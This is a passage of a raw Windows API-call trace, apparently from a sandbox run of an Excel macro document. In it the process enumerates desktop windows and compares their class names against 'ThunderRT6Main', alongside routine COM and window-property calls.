hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.289] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.289] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0147.289] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.289] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.289] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0147.289] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.289] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.289] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0147.289] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0147.289] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.289] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0147.289] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0147.289] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0147.289] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0147.289] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.289] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0147.289] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0147.289] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0147.289] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0147.289] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0147.289] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.289] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0147.289] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0147.289] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0147.289] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.289] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0147.289] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0147.289] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.289] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0147.289] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0147.290] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0147.290] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.290] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0147.290] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.290] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.290] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.290] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0147.290] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0147.290] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0147.290] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0147.290] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0147.290] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0147.290] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0147.290] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0147.290] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0147.290] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.290] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.290] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0147.290] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0147.290] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.290] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.290] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0147.290] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0147.290] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0147.290] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0147.290] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0147.290] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0147.290] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0147.290] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0147.290] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.290] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0147.290] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x64ac5e0 [0147.290] IMalloc:Free (This=0x7fefe465380, pv=0x64ac5e0) [0147.313] strncpy_s (in: _Dst=0x6074a30, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0147.313] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0147.313] bsearch (_Key=0x1e8818, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0147.313] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0147.313] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0147.313] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679bb90) returned 0x0 [0147.313] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0147.313] IUnknown:Release (This=0x679bb90) returned 0x15 [0147.313] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x5a48630) returned 0x0 [0147.314] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0147.314] IUnknown:Release (This=0x5a48630) returned 0x12 [0147.314] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c130) returned 0x0 [0147.314] IUnknown:AddRef (This=0x679c130) returned 0x9 [0147.314] IUnknown:Release (This=0x679c130) returned 0x8 [0147.314] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c6d0) returned 0x0 [0147.314] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0147.314] IUnknown:Release (This=0x679c6d0) returned 0x6 [0150.254] GetCurrentThreadId () returned 0xa30 [0150.254] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0150.254] GetDesktopWindow () returned 0x10010 [0150.254] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0150.254] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0150.254] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0150.254] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0150.254] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0150.254] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0150.254] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0150.254] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0150.254] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0150.254] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0150.254] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0150.254] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0150.254] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.254] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0150.254] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0150.255] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.255] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0150.255] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.255] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.255] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0150.255] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0150.255] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.255] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0150.255] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0150.255] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0150.255] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0150.255] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.255] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0150.255] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0150.255] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0150.255] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0150.255] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0150.255] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0150.255] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0150.255] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.255] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0150.255] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.255] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0150.255] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.255] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0150.255] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0150.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.255] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0150.255] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0150.255] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0150.255] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0150.255] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0150.255] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0150.255] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.255] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0150.255] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0150.256] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0150.256] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0150.256] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.256] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.256] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.256] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0150.256] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0150.256] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0150.256] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0150.256] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0150.256] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0150.256] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0150.256] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0150.256] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.256] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.256] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0150.256] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0150.256] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0150.256] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0150.256] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.256] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0150.256] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0150.256] IsWindowEnabled (hWnd=0x302dc) returned 0 [0150.256] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0150.256] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0150.256] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0150.256] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0150.256] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0150.256] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0150.256] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0150.256] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.256] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0150.256] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0150.256] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0150.256] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0150.256] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0150.256] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0150.256] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.256] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0150.256] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0150.256] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0150.256] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0150.256] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0150.256] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0150.256] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.256] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0150.256] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0150.256] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0150.256] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0150.256] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0150.256] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0150.256] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.256] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0150.256] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0150.256] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0150.256] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0150.256] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0150.256] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0150.257] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0150.257] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0150.257] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0150.257] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0150.257] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0150.257] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0150.257] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0150.257] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0150.257] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0150.257] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0150.257] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0150.257] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0150.257] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0150.257] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0150.257] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0150.257] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0150.257] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0150.257] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0150.257] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0150.257] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0150.257] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0150.257] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0150.257] GetWindowLongPtrA (hWnd=0x20224, 